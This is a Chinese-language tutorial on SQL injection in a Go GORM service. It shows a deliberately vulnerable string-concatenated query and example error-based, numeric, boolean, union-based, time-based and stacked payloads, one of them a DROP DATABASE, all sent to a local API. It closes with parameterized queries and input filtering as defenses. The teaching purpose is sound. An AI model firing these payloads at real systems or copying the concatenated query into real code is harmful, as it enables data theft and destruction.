1.常见SQL注入的方法#
假设我们使用goland的GORM框架写了以下面SQL
1 | err := u.data.db.Raw("select id, username, email from user where username = '" + s + "'").Scan(&user).Error |
如果正常的查询参数的值为test123,请求如下接口传入该值
1 | http://localhost:8080/api/v1/user?username=test123 |
接口输出的结果为
1 | { |
但是使用字符串拼接来实现查询逻辑的话,很容易被人使用SQL注入的方法进行攻击
1.Error-based#
基于错误的SQL注入主要是用于获得数据的相关信息,方便进行后序的攻击,比如输入单引号 ‘
1 | http://localhost:8080/api/v1/user?username=' |
此时从接口的返回值中就可以知道使用的是MySQL数据库
1 | { |
2.数字型#
比如使用数组id来请求用户信息的接口
1 | http://localhost:8080/api/v1/user/1 |
如果使用3-2可以查询到id=1的用户信息,表示可以使用数字型SQL注入
1 | http://localhost:8080/api/v1/user/3-2 |
3.布尔型#
可以通过布尔表达式来判断猜测的数据是否最正确
1 | <原SQL語法> and length(database())>=1-- |
4.Union-based#
基于union的SQL注入可以通过拼接上UNION语句来实现SQL注入,比如输入’ union all select 123,system_user(),user()%23,其中%23是#
1 | http://localhost:8080/api/v1/user?username=' union all select 123,system_user(),user()%23 |
最终执行的SQL是
1 | select id, username, email from user where username = '' union all select 123,system_user(),user()#' |
此时从接口的返回值中可以查询到数据库的用户名
1 | { |
5.Time-based#
基于sleep函数的SQL注入可以通过拼接上sleep函数来实现sql注入,配合上IF语句可以通过sleep函数是否执行来判断IF条件是否正确(例如在没有权限使用database()等函数的情况下猜测库名表名等),
比如输入test123’ and sleep(5)%23,其中%23是#
1 | http://localhost:8080/api/v1/user?username=test123' and sleep(5)%23 |
最终执行的SQL是
1 | select id, username, email from user where username = 'test123' and sleep(5)#' |
注入成功的话,请求会延时5秒之后再返回
参考:SQL注入-时间盲注整理
6.堆叠型#
1 | <原SQL語法>;DROP DATABASE 資料庫名 |
2.防范SQL注入的方法#
1.使用参数化#
不使用字符串拼接的方式
1 | err := dao.User.Where(dao.User.Username.Eq(s)).Scan(&user) |
2.输入过滤#
通过检查SQL中有某些特殊意思的字符来防止SQL注入,比如
1 | \ |